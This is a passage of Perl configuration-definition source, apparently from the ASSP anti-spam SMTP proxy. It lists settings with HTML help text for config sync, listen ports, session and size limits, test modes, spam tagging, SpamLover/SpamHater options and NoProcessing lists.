 The format after an initial setup is: "varname:=syncflag,syncServer1=status,syncServer2=status,......". The "status" could be one of the following:<br /><br />
 0 - no sync - changes of this value will not be sent to this syncServer - I will ignore all change requests for this value from there<br />
 1 - I am a SyncMaster, the value is still out of sync to this peer and should be synchronized as soon as possible<br />
 2 - I am a SyncMaster, the value is still in sync to this peer<br />
 3 - I am not a SyncMaster but a SyncSlave - only this SyncMaster (peer) knows the current sync status to me<br />
 4 - I am a SyncMaster and a SyncSlave (bidirectional sync) - a change of this value was still received from this syncServer (peer) and should not be sent back to this syncServer - this flag will be automaticaly set back to 2 at the next synchronization check<br /><br />
 ',undef,undef,'msg009220','msg009221'],
['syncCFGPass','Config Sync Password',20,\&passinput,'','(.{6,}|)','ConfigChangeSync','The password that is used and required (additionaly to the sending IP address) to identify a valid sync request. This password has to be set equal in all ASSP installations, from where and/or to where the configuration should be synchronized.<br />
  The password must be at least six characters long.<br />
  If you want or need to change this password, first disable enableCFGShare here an on all peers, change the password on all peers, enable enableCFGShare on SyncSlaves then enable enableCFGShare on SyncMasters.',undef,undef,'msg009230','msg009231'],
['syncShowGUIDetails','Show Detail Sync Information in GUI',0,\&checkbox,'','(.*)',undef, 'If selected, the detail synchronization status is shown at the top of each configuration parameter like:<br /><br />
  nothing shown - there is no entry defined for this parameter in the syncConfigFile or it is an unsharable parameter<br />
  "(shareable)" - the parameter is shareable but the general sync sign in the syncConfigFile is zero<br />
  "(shared: ...)" - the detail sync status for each sync peer<br /><br />
  If not selected, only different colored bulls are shown at the top of each configuration parameter like:<br /><br />
  nothing shown - no entry in the syncConfigFile or it is an unsharable parameter<br />
  "black bull <b><font color=\'black\'>&bull;</font></b>" - the parameter is shareable but the general sync sign in the syncConfigFile is zero<br />
  "green bull <b><font color=\'green\'>&bull;</font></b>" - the parameter is shared and in sync to each peer<br />
  "red bull <b><font color=\'red\'>&bull;</font></b>" - the parameter is shared but it is currently out of sync to at least one peer<br /><br />
  If you move the mouse over the bull, a hint box will show the detail synchronization status.
  <hr><div class="menuLevel1">Notes Config Sync</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/configsync.txt\',3);"/>',undef,undef,'msg009250','msg009251'],   
[ 0, 0, 0, 'heading', 'Network Setup ' ],
['ConnectionLog','Connections Logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,0,'(.*)',undef,''],
['listenPort','SMTP Listen Port',40,\&textinput,'25','(.*)','ConfigChangeMailPort',
  'The port number on which ASSP will listen for incoming SMTP connections (normally 25). You can specify both an IP address and port number to limit connections to a specific interface. Multiple ports  (interface:port) are possible separated by a pipe (|). Hint: If you set this port to 25, you must not set "listenPort2" to 25<p><small><i>Examples:</i>25<br /> 123.123.123.1:25|123.123.123.5:25</small></p>','Basic'],
['smtpDestination','SMTP Destination',80,\&textinput,'127.0.0.1:1025','(.*)',undef,
  'The IP <b>number!</b> and port number of your primary SMTP <a href=http://en.wikipedia.org/wiki/Mail_transfer_agent>mail transfer agent</a> (MTA). If multiple servers are listed and the first listed MTA does not respond, each additional MTA will be tried. If only a port number is entered, or the dynamic keyword <b>INBOUND</b> is used with a port number, then the connection will be established to the local IP address on which the connection was received. This is useful when you have several IP addresses with different domains or profiles in your MTA. If INBOUND:PORT is used, ReportingReplies (Analyze,Help,etc and CopyMail will go to 127.0.0.1:PORT. If your needs are different, use smtpReportServer (SMTP Reporting Destination) and sendAllDestination (Copy Spam SMTP Destination). Separate multiple entries by "|".<small><i>Examples:</i>127.0.0.1:1025, 127.0.0.1:1025|127.0.0.5:1025, INBOUND:1025</small>','Basic',undef,'msg000030','msg000031'],
['EmailReportDestination','ASSP Internal Mail Destination',40,\&textinput,'','(\S*)',undef,
 'Port to connect to when  ASSP sends replies to email-interface mails, notifications and block reports. Must be set when smtpDestination contains INBOUND. For example "10.0.1.3:1025", etc.'],
['listenPort2','Second SMTP Listen Port',40,\&textinput,'587','(.*)','ConfigChangeMailPort2',
  'A secondary port number on which ASSP can accept SMTP connections. This is useful as a dedicated port for TLS or VPN clients or for those who cannot directly send mail to a mail server outside of their ISP\'s network because the ISP is blocking port 25. Multiple ports  (interface:port) are possible separated by a pipe (|). Hint: If you set this port to 587, you must not set another portlike "listenPort" to 587<p><small><i>Examples:</i> 587<br />192.168.0.100:587<br />192.168.0.100:587|192.168.0.101:587</small></p>'],
['smtpAuthServer','Second SMTP Destination',40,\&textinput,'','(\S*)',undef,
  'The IP address/hostname and port number to connect to when mail is received on the second SMTP listen port. If the field is blank, smtpDestination will be used. The purpose of this setting is to allow remote users to make authenticated connections and transmit their email without encountering SPF failures.<p><small><i>Examples:</i>127.0.0.1:687</small></p>'],
['EnforceAuth',"Force SMTP AUTH on Second SMTP Listen Port",0,\&checkbox,'','(.*)',undef,
  'Do not allow clients to connect to listenPort2 without Authentication. '],


['DisableAUTH','Disable SMTP AUTH for External Clients',0,\&checkbox,'','(.*)',undef,
  'If you do not want  external clients to use SMTP AUTH - check this option.'],
  
['PrimaryMX','Primary MX Host',40,\&textinput,'','(\S*)','ConfigChangePrimaryMX',
  'The IP <b>number</b> of the Primary MX if there is one. '],
['PrimaryMXping','Ping Primary MX Host',0,\&checkbox,'','(.*)','ConfigChangePrimaryMX',
  'Disable connections on port 25 if PrimaryMX is up and running.'],
  


['enableINET6','Enable IPv6 support',0,\&checkbox,'','(.*)','ConfigChangeIPv6','For IPv6 network support to be enabled, check this box. Default is disabled. IO::Socket::INET6 is able to handle both IPv4 and IPv6. NOTE: This option requires an installed IO::Socket::INET6 module in PERL and your system should support IPv6 sockets.<br />
  Before you enable or disable IPv6, please check every IP listener and destination definition in assp and correct the settings. <span class="negative">Changing this requires a restart of ASSP!</span> IPv4 addresses are defined for example 192.168.0.1 or 192.168.0.1:25 - IPv6 addresses are defined like [FE80:1:0:0:0:0:0:1]:25 or [FE80:1::1]:25 ! If an IPv4 address is defined for a listener, assp will listen only on the IPv4 socket. If an IPv6 address is defined for a listener, assp will listen only on the IPv6 socket. If only a port is defined for a listener, assp will listen on both IPv4 and IPv6 sockets.<br />
  ',undef,undef,'msg009480','msg009481'],
['smtpDestinationRT','SMTP Destination Routing Table*',80,\&textinput,'','(\S*)','configChangeRT',
  'If INBOUND is used in the SMTP Destination field, the rules specified here are used to route the inbound IP address to a different outbound IP address. You must specify a port number with the outbound IP address. This feature works by assigning as many IP numbers to ASSP as you have different receiving Mailservers. 
  <p><small><i>Example:</i>141.120.110.1=>141.120.110.129:25|141.120.110.2=>141.120.110.130:125|141.120.110.3=>141.120.110.130:125</small></p><span class="negative"> requires ASSP restart</span>
<hr /><div class="menuLevel1">Notes On Network Setup</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/network.txt\',3);" />
'],


[0,0,0,'heading','SMTP Session Limits '],
['SessionLog','Session Limit Logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['MaxErrors','Maximum Errors Per Session',5,\&textinput,'5','(\d+)',undef,
'The maximum number of SMTP session errors encountered before the
connection is dropped. Scoring is done  with meValencePB.'],
['MaxAUTHErrors','Max Number of AUTHentication Errors',5,\&textinput,'5','(.*)',undef,
 'If an IP exceeds this number of authentication errors (535) the transmission of the current message will be canceled and any new connection from that IP will be blocked for 5-10 minutes.<br />
  Every 5 Minutes the \'AUTHError\' -counter of the IP will be decreased by one. autValencePB is used for the penalty box.<br />
  No limit is imposed by ASSP if the field is set to 0. This option allows admins to prevent external bruteforce or dictionary attacks via AUTH command. Whitelisted and NoProcessing IP\'s and IP\'s in npPB are ignored like any relayed connection.',undef,undef,'msg009310','msg009311'],
['maxSMTPSessions','Maximum Sessions',5,\&textinput,'64','(\d?\d?\d?)',undef,
  'The maximum number of simultaneous SMTP sessions. This can prevent server overloading and DoS attacks. 64 simultaneous sessions are typically enough. No entry or zero means no limit.'],
['noMaxSMTPSessions','No Maximum Sessions IP numbers*',60,\&textinput,'','(.*)','ConfigMakeIPRe','Mail from any of these IP numbers and Hostnames will pass through without checking maximum number of simultaneous SMTP sessions. For example: localhost|145.145.145.145'],
['maxSMTPipSessions','Maximum Sessions Per IP Number',3,\&textinput,'0','(\d?\d?\d?)',undef,
  'The maximum number of SMTP sessions allowed per IP number. Use this setting to prevent server overloading and DoS attacks. 10 sessions are typically enough. If left blank or set to 0 there is no limit imposed by ASSP. ispip (ISP/Secondary MX Servers) and acceptAllMail (Accept All Mail) matches are excluded from SMTP session limiting. Scoring is done  with iplValencePB.'],


['HeaderMaxLength','Maximum Header Size',10,\&textinput,100000,'(.*)',undef,
  'The maximum allowed header length, in bytes. At each mail hop header information is added by the mail server. A large mail header can indicate a mail loop. If the value is blank or 0 the header size will not be checked.'],
['MaxEqualXHeader','Maximum Equal X-Header Lines*',40,\&textinput,'*=>20','^((?:.+?\s*=>\s*\d+(?:\s*\|.+?\s*=>\s*\d+)*)|\s*file\s*:\s*.+|)$','configUpdateStringToNum',
 'The maximum allowed equal X-header lines - eg. "X-SubscriberID". If the value is set to empty the header will not be checked for equal X-header lines. This check will be skipped for noprocessing, whitelisted and outgoing mails.<br />
  The default is "*=&gt;20", which means any X-header can occure 20 time maximum. You can define different values for different X-headers - wildcards like "*" and "?" are allowed to be used.<br />
  For example:<br />
  *=&gt;20|X-Notes-Item=&gt;100|X-Subscriber*=&gt;10|X-AnyTag=&gt;0<br />
  An value of zero disables the check for the defined X-header. The check is also skipped if no default like "*=&gt;20" is defined and the X-header defintion is not found.',undef,undef,'msg009060','msg009061'],
['detectMailLoop','Detect Possible Mailloop',10,\&textinput,'10','(.*)',undef,
 'If set to a value higher than 0, ASSP count its own Received-header in the header of the mail. If this count exceeds the defined value, the transmission of the message will be canceled.'],

['maxSize','Max Size of Outgoing Message',10,\&textinput,'','(.*)',undef,
 'If the value of ([message size]) exceeds maxSize in bytes the transmission of the local message will be canceled. No limit is imposed by ASSP if the field is left blank or set to 0. This option allows admins to limit useless bandwidth wasting based on the transmit size.'],
['MaxSizeAdr','Max Size of Local Message Adresses*',40,\&textinput,'file:files/MaxSize.txt','(\s*file\s*:\s*.+|)','configUpdateMaxSize',
'Use this parameter to set individual maxSize values for email addresses, domains, user names and IP addresses. A file must be specified if used.<br />
Accepts specific addresses (user@domain.com), user parts (user), entire domains (@domain.com) and IP addresses (CIDR notation like 123.1.101/32 is here not supported!) - group definitions could be used. Use one entry per line. Wildcards are supported (fribo*@domain.co?). A second parameter separated by "=>" specifies the size limit. <br />
For example:<br />
fribo*@thisdomain.co?=>1000000<br />
jhanna=>0<br />
@sillyguys.org=>500000<br />
101.1.2.*=>0<br />

If multiple matches (values) are found in a mail for any IP address in the transport mail chain, any envelope recipient and the envelope sender, the highest value or 0 (no limit) will be used! If no match (value) is found in a mail, the definition in maxSize will take place.'
,undef,undef,'msg009510','msg009511'],
['maxSizeExternal','Max Size of Incoming Message',10,\&textinput,'','(.*)',undef,
 'If the value of ([message size]) exceeds maxSizeExternal in bytes the transmission of the message will be canceled. No limit is imposed by ASSP if the field is left blank or set to 0. This option allows admins to limit useless bandwidth wasting based on the transmit size.'],
['MaxSizeExternalAdr','Max Size of External Message Adresses*',40,\&textinput,'file:files/MaxSizeExt.txt','(\s*file\s*:\s*.+|)','configUpdateMaxSize',
'Use this parameter to set individual maxSizeExternal values for email addresses, domains, user names and IP addresses. A file must be specified if used.<br />
Accepts specific addresses (user@domain.com), user parts (user), entire domains (@domain.com) and IP addresses (CIDR notation like 123.1.101/32 is here not supported!) - group definitions could be used. Use one entry per line. Wildcards are supported (fribo*@domain.co?). A second parameter separated by "=>" specifies the size limit. <br />
For example:<br />
fribo*@thisdomain.co?=>1000000<br />
jhanna=>0<br />
@sillyguys.org=>500000<br />
101.1.2.*=>0<br />

If multiple matches (values) are found in a mail for any IP address in the transport mail chain, any envelope recipient and the envelope sender, the highest value or 0 (no limit) will be used! If no match (value) is found in a mail, the definition in maxSizeExternal will take place.'
,undef,undef,'msg009520','msg009521'],


['noMaxSize','Don\'t Check Messages from these Addresses/Domains*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Don\'t check the value of  maxSizeExternal and maxRealSizeExternal in messages from these addresses/domain. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).'],

['maxRealSize','Max Real Size of Outgoing Message',10,\&textinput,'','(.*)',undef,
 'If the value of (number of [rcpt to] * [message size]) exceeds maxRealSize in bytes the transmission of the message will be canceled. No limit is imposed by ASSP if the field is left blank or set to 0. This option allows admins to limit useless bandwidth wasting based on the total transmit size.'],
['MaxRealSizeAdr','Max Real Size of Local Message Adresses*',40,\&textinput,'file:files/MaxRealSize.txt','(\s*file\s*:\s*.+|)','configUpdateMaxSize',
'Use this parameter to set individual maxRealSize values for email addresses, domains, user names and IP addresses. A file must be specified if used.<br />
Accepts specific addresses (user@domain.com), user parts (user), entire domains (@domain.com) and IP addresses (CIDR notation like 123.1.101/32 is here not supported!) - group definitions could be used. Use one entry per line. Wildcards are supported (fribo*@domain.co?). A second parameter separated by "=>" specifies the size limit. <br />
For example:<br />
fribo*@thisdomain.co?=>1000000<br />
jhanna=>0<br />
@sillyguys.org=>500000<br />
101.1.2.*=>0<br />

If multiple matches (values) are found in a mail for any IP address in the transport mail chain, any envelope recipient and the envelope sender, the highest value or 0 (no limit) will be used! If no match (value) is found in a mail, the definition in maxRealSize will take place.'
,undef,undef,'msg009490','msg009491'],
['maxRealSizeExternal','Max Real Size of Incoming Message',10,\&textinput,'','(.*)',undef,
 'If the value of (number of [rcpt to] * [message size]) exceeds maxRealSizeExternal in bytes the transmission of the external message will be canceled. No limit is imposed by ASSP if the field is left blank or set to 0. This option allows admins to limit useless bandwidth wasting based on the total transmit size.'],
['MaxRealSizeExternalAdr','Max Real Size of External Message Adresses*',40,\&textinput,'file:files/MaxRealSizeExt.txt','(\s*file\s*:\s*.+|)','configUpdateMaxSize',
'Use this parameter to set individual maxRealSizeExternal values for email addresses, domains, user names and IP addresses. A file must be specified if used.<br />
Accepts specific addresses (user@domain.com), user parts (user), entire domains (@domain.com) and IP addresses (CIDR notation like 123.1.101/32 is here not supported!) - group definitions could be used. Use one entry per line. Wildcards are supported (fribo*@domain.co?). A second parameter separated by "=>" specifies the size limit. <br />
For example:<br />
fribo*@thisdomain.co?=>1000000<br />
jhanna=>0<br />
@sillyguys.org=>500000<br />
101.1.2.*=>0<br />

If multiple matches (values) are found in a mail for any IP address in the transport mail chain, any envelope recipient and the envelope sender, the highest  value or 0 (no limit) will be used! If no match (value) is found in a mail, the definition in maxRealSizeExternal will take place.'
,undef,undef,'msg009500','msg009501'],
['maxRealSizeError','Max Real Size Error Message',80,\&textinput,'552 message exceeds MAXREALSIZE byte (size * rcpt)','(552 .*)',undef,'SMTP error message to reject maxRealSize exceeding mails. For example:552 message exceeds MAXREALSIZE byte (size * rcpt)! MAXREALSIZE will be replaced by the value of maxRealSize.'],

['smtpIdleTimeout','SMTP Idle Timeout',5,\&textinput,'600','(\d?\d?\d?\d?)',undef,
 'The number of seconds a session is allowed to be idle before being forcibly disconnected. No limit is imposed by ASSP if the field is left blank or set to 0. If you have not defined an IdleTimeout on your MTA, this value should not be set to 0, because then a connection will never be timed out! <input type="button" value=" Show Timeout Cache" onclick="javascript:popFileEditor(\'pb/pbdb.smtptimeout.db\',6);" />'],


['smtpNOOPIdleTimeout','SMTP Idle Timeout after NOOP',5,\&textinput,'0','(\d?\d?\d?\d?)',undef,
 'The number of seconds a session is allowed to be idle after a "NOOP" command is received, before being forcibly disconnected. No limit is imposed by ASSP if the field is left blank or set to 0.<br />
  This should prevent hackers to hold and block connections by sending "NOOP" commands short before the "smtpIdleTimeout" is reached.'],
['smtpNOOPIdleTimeoutCount','SMTP Idle Timeout after NOOP Count',5,\&textinput,'0','(\d?\d?)',undef,
 'The number of counts a session is allowed send "NOOP" commands following on each other, before being forcibly disconnected. No limit is imposed by ASSP if the field is left blank or set to 0.<br />
  This in cooperation with "smtpNOOPIdleTimeout" should prevent hackers to hold and block connections by sending repeatedly "NOOP" commands short before the "smtpNOOPIdleTimeout" is reached. If "smtpNOOPIdleTimeout" is not defined or 0, this value will be ignored!<hr /><div class="menuLevel1">Notes On SMTP Session Limits</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/sessionlimits.txt\',3);" />'],



[0,0,0,'heading','TestMode'],
['spamSubject','Prepend Spam Subject ',20,\&textinput,'','(.*)',undef,'Setting a filter to TestMode will tell ASSP not to reject the mail but rather build up the whitelist and spam and notspam collections. This can go on for some time without disturbing normal operation. Be sure spamSubject is blank, no user should see anything strange. After this very important phase TestMode can be used to tag the message. For example: [SPAM]','Basic'],

['allTestMode','All TestModes ON ',0,\&checkbox,'','(.*)','','Set all filters to TestMode ','Basic'],

['attachTestMode','Bad Attachment TestMode',0,\&checkbox,'','(.*)','','-> DoBlockExes'],
['baysTestMode','Bayesian TestMode',0,\&checkbox,'1','(.*)','','-> DoBayesian','Basic'],
['blTestMode','BlackDomain TestMode',0,\&checkbox,'','(.*)','','-> DoBlackDomain'],
['bombheaderTestMode','Bomb Header Regex TestMode',0,\&checkbox,'','(.*)','','-> DoBombHeaderRe'],
['bombTestMode','Bomb Regex TestMode',0,\&checkbox,'','(.*)','','-> DoBombRe'],
['blackTestMode','Black Regex TestMode',0,\&checkbox,'','(.*)','','-> DoBlackRe'],
['mxaTestMode','Missing MX Record Test Mode',0,\&checkbox,'','(.*)',undef,'',undef,undef,'msg005130','msg005131'],
['ptrTestMode','Reversed Lookup Test Mode',0,\&checkbox,'','(.*)',undef,'',undef,undef,'msg005140','msg005141'],
['fhTestMode','Forged Helo TestMode',0,\&checkbox,'','(.*)','','-> DoFakedLocalHelo'],

['flsTestMode','No Spoofing TestMode',0,\&checkbox,'','(.*)','','-> DoNoValidLocalSender, DoNoSpoofing'],

['ihTestMode','Invalid Helo TestMode',0,\&checkbox,'','(.*)','','-> DoInvalidFormatHelo'],

['msTestMode','Message Scoring TestMode',0,\&checkbox,'','(.*)','','-> DoPenaltyMessage'],


['pbTestMode','Penalty Box TestMode',0,\&checkbox,'','(.*)','','-> DoPenalty, DoPenaltyExtreme,DoDenySMTP'],

['rblTestMode','DNSBL TestMode',0,\&checkbox,'','(.*)','','-> ValidateRBL'],
['scriptTestMode','Script Regex TestMode',0,\&checkbox,'','(.*)','','-> DoScriptRe'],
['sbTestMode','SenderBase TestMode',0,\&checkbox,'','(.*)','','-> DoSenderBase DoCountryBlocking DoOrgBlocking '],
['sigTestMode','Message-ID Signing TestMode',0,\&checkbox,'','(.*)','','-> DoMSGIDsig'],
['spfTestMode','SPF TestMode',0,\&checkbox,'','(.*)','','-> ValidateSPF'],
['srsTestMode','SRS TestMode',0,\&checkbox,'','(.*)','','-> EnableSRS'],
['uriblTestMode','URIBL TestMode',0,\&checkbox,'','(.*)','','-> ValidateURIBL<hr /><div class="menuLevel1">Notes On Testmodes</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/testmode.txt\',3);" />'],


[0,0,0,'heading','SPAM Control '],

['spamTag','Prepend Spam Tag',0,\&checkbox,'','(.*)',undef,'ASSP uses many methods. The method which caught the spam  will be prepended to the subject of the email. For example: [DNSBL]'],

['NotSpamTag','Ham Password',80,\&textinput,'424242','(.*)',undef,'If an incoming email matches this text string it will be considered not-spam. This can be used in SpamError to ask for resending the mail with this text in the subject.'],
['NotSpamTagToWhite','Whitelist Messages with NotSpamTag',0,\&checkbox,'1','(.*)',undef,''],

['SpamError','Spam Error',80,\&textinput,'554 5.7.1 Mail (SESSIONID) appears to be unsolicited - REASON - resend with NOTSPAMTAG appended to subject and contact postmaster@LOCALDOMAIN for resolution','([245]\d\d .*)',undef,'SMTP error message to reject spam. The literal LOCALDOMAIN will be replaced by the recipient domain or defaultLocalHost. SESSIONID will be replaced by the unique ASSP identifier set by uniqeIDLogging. REASON will be replaced by the actual reason. NOTSPAMTAG will be replaced by NotSpamTag. MYNAME will be replaced by myName.'],




['send250OK','Send 250 OK ',0,\&checkbox,'','(.*)',undef,
 'Set this checkbox if you want ASSP to reply with \'250 OK\' instead of SMTP error code \'554 5.7.1\'.'],

 
['AddSpamHeader','Add Spam Header',0,\&checkbox,1,'(.*)',undef,
 'Adds a line to the email header "X-Assp-Spam: YES" if the message is spam.'],
['StoreASSPHeader','Store Assp-Header into Spam Collection',0,\&checkbox,'1','(.*)',undef,
 'Add "X-Assp-" to the collected spam-mails.',undef,undef,'msg008770','msg008771'],
['AddCustomHeader','Add Custom Header',80,\&textinput,'','(.*)',undef,
 'Adds a line to the email header if the message is spam. For example: <a href="http://exchangepedia.com/blog/2008/01/assigning-scl-to-messages-scanned-by.html">X-Spam-Status:yes</a>'],

['AddLevelHeader','Add Graphical Level Header',0,\&checkbox,'','(.*)',undef,
 'Adds a line to the email header "X-Assp-Spam-Level:**** " showing the totalscore represented by stars (1 - 20), every star representing five scoring points.'],
['AddSubjectHeader','Add X-ASSP-Original-Subject Header',1,\&checkbox,1,'(.*)',undef,
 'Adds a line to the email header "X-ASSP-Original-Subject: the subject".'],
['AddIPHeader','Add IP Match Header',0,\&checkbox,1,'(.*)',undef,'Add X-Assp- header for all IP matches.',undef],
['AddRegexHeader','Add  RegEx Match Header',0,\&checkbox,1,'(.*)',undef,''],
['AddSpamReasonHeader','Add Spam Reason Header',0,\&checkbox,1,'(.*)',undef,
 'Adds a line to the email header "X-Assp-Spam-Reason: " explaining why the message is spam.<br /><hr /><div class="menuLevel1">Notes On Spam Control</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/spamcontrol.txt\',3);" />'],
['noGriplistUpload','Don\'t Upload Griplist Stats',0,\&checkbox,'','(.*)',undef,
 'Check this to disable the Griplist upload when rebuildspamdb runs. The Griplist contains IP numbers and their values between 0 and 1, lower is less spammy, higher is more spammy. This value is called the grip value. ',undef,undef,'msg000230','msg000231'],
['noGriplistDownload','Don\'t auto-download the Griplist file',0,\&checkbox,'','(.*)',undef,
 "Set this checkbox, if you don\'t use the Griplist.  ",undef,undef,'msg000240','msg000241'],
['GriplistDownloadNow','Run GriplistDownload Now',0,\&checkbox,'','(.*)','ConfigChangeRunTaskNow', "If selected, ASSP will download the Griplist right away. <input type=button value=\"Run Now!\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />&nbsp;<input type=button value=\"Refresh Browser\" onclick=\"document.forms['ASSPconfig'].theButtonRefresh.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />"],
['noGRIP','Don\'t do Griplist for these IP numbers and Hostnames* ',80,\&textinput,'','(.*)','ConfigMakeIPRe',
 'Enter IP numbers and Hostnames that you don\'t want to get gripvalues from. For example:server.example.com|145.145.145.145|145.146.','','7'],
 
['DoFullGripDownload','Full Griplist Download Period',5,\&textinput,'30','(\S*)',undef,
 'The Global Griplist is downloaded once in full, then only deltas are downloaded each day subsequently.  This option forces a new full download after this many days.  Leave it blank to not force new full downloads. Recommended: 30 days.<br /><hr /><div class="menuLevel1">Notes On Griplist</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/griplist.txt\',3);" />'],

[0,0,0,'heading','SPAM Lovers/Haters'],

['spamSubjectSL',"Suppress SpamSubject to SpamLover-Messages",0,\&checkbox,'','(.*)',undef,
 'If set spamSubject does NOT get prepended to the subject of any SpamLover-Message.'],
['spamLoverSubjectSelected','Suppress SpamSubject For Selected Recipients*',80,\&textinput,'ALL','(.*)','ConfigMakeSLRe','spamSubject does NOT get prepended to the subject for these recipients. To enable the selection you need to uncheck spamSubjectSL.'],

['spamTagSL',"Suppress spamTags to SpamLover-Messages",0,\&checkbox,1,'(.*)',undef,
 'If set, spamTags does NOT get prepended to the subject of the SpamLover-Message.'],
['SpamLoversRe','Regular Expression to Identify  SpamLovers*',80,\&textinput,'','(.*)','ConfigCompileRe',
'If a message matches this regular expression it will not been blocked, but tagged.'],

['slMaxScore','Block Spamlover Messages Above This Score',3,\&textinput,'','(.*)',undef,
 'Messages to e.g. baysSpamLovers  whose score exceeds this threshold will be blocked. For example: 75'],
['spamLovers','All Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL',
 'Messages to Spam-Lovers are processed and filtered by ASSP, but get tagged with spamSubject and are not blocked. When a
 Spam-Lover is not the sole recipient of a message, the message is processed
 normally, and if it is found to be spam, it will not be delivered to the
 Spam-Lover. Addresses here are used in all other SpamLover-Options except blSpamLovers, blackSpamLovers, atSpamLovers, rblSpamLovers, uriblSpamLovers. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). Wildcards are supported (fribo*@domain.com). For example: fribo*@thisdomain.com|jhanna|@sillyguys.org
 <hr>
 This option and all SpamLover-Options below are accepting a second score parameter like "user@your-domain.com=>70"<br />
 If such a parameter is defined in any option for an entry and the recipient address matches this entry and the message score exceeds the parameter value, the message will be blocked.<br />
 If there are multiple possible matches for a recipient address found, the generic longest match (and value) will be used.<br />
 ASSP will use the highest found value for all recipients of an email.',undef,undef,'msg000490','msg000491'],

['baysSpamLovers','Bayesian Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000510','msg000511'],
['baysSpamLoversRe','Regular Expression to Identify Bayesian SpamLover*',80,\&textinput,'','(.*)','ConfigCompileRe',
 'If a message matches this regular expression it will be considered a Bayesian SpamLover message.'],

['blSpamLovers','Blacklisted Domains Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000540','msg000541'],
['blackSpamLovers','SpamLover Black Regex Check*',80,\&textinput,'','(.*)','ConfigMakeSLReSL',''],
['bombSpamLovers','Bomb Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000550','msg000551'],
['hlSpamLovers','HELO Blacklisted Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000560','msg000561'],
['hiSpamLovers','Valid/Invalid Helo*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000570','msg000571'],
['atSpamLovers','Bad Attachment Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000580','msg000581'],
['spfSpamLovers','SPF Failures Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000590','msg000591'],
['rblSpamLovers','DNSBL Failures Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000600','msg000601'],
['uriblSpamLovers','URIBL Failures Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000610','msg000611'],
['srsSpamLovers','Unsigned SRS Bounces Spam-Lover *',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000620','msg000621'],

['isSpamLovers','Invalid Sender Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000640','msg000641'],
['mxaSpamLovers','Missing MX Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000650','msg000651'],
['ptrSpamLovers','Invalid/Missing PTR Spam-Lover*',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000660','msg000661'],
['pbSpamLovers','Penalty Box Blocking Spam-Lover *',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000670','msg000671'],
['sbSpamLovers','Country Blocking Spam-Lover *',60,\&textinput,'','(.*)','ConfigMakeSLReSL','',undef,undef,'msg000680','msg000681'],
['spamHaters','All SpamHaters*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
 'SpamHaters are used to override SpamLovers / Testmodes / Tagmodes.
 If a recipient is set as as SpamHater, all spam-messages are blocked, scoring , testmode and spamlover are overwritten..<br />
 Example: If you have set your entire domain as a SpamLover(s), but there are some addresses you still wish to block spam for. The message will only be blocked if all recipients are SpamHaters. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).  Wildcards are supported (fribo*@example.com).<br />For example: *fribo@example.com|jhanna|@example.org '],
['baysSpamHaters','Bayesian SpamHater*',80,\&textinput,'','(.*)','ConfigMakeSLRe','SpamHaters are used to override baysSpamLovers / baysTestMode. It may also be used to increase scoring for DoBayesian with Addhater.<br /><hr /> <div class="menuLevel1">Notes On Spam-Lover</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/spamlover.txt\',3);" />'],




[0,0,0,'heading','NoProcessing'],

['npSize','Incoming Messages NoProcessing Size',10,\&textinput,'500000','(.*)',undef,'This limit ensures that only incoming messages smaller than this limit are processed by ASSP. Most spam
isn\'t bigger than a few k. ASSP will treat incoming messages larger than this SIZE (in bytes) as \'NoProcessing\' mail. Empty or 0 disables the feature.'],
['npSizeOut','Message Size Limit Outgoing',10,\&textinput,'500000','(.*)',undef,'ASSP will treat outgoing messages larger than this SIZE (in bytes) as \'No Processing\' mail. Empty or 0 disables the feature. ',undef,undef,'msg000800','msg000801'],
['noProcessingIPs','NoProcessing IPs*',60,\&textinput,'file:files/ipnp.txt','(.*)','ConfigMakeIPRe','Mail from any of these IP numbers and Hostnames will pass through without processing. <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/ipnp.txt target=files ><span class="positive">newest example file is here</a>
','','7'],

['noProcessing','NoProcessing Addresses*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Mail solely to or from any of these addresses are proxied without processing. Like a more efficient version of SpamLovers and redlist combined. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).  Wildcards are supported (fribo*@example.com).'],
['noProcessingFrom','NoProcessing Sender*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
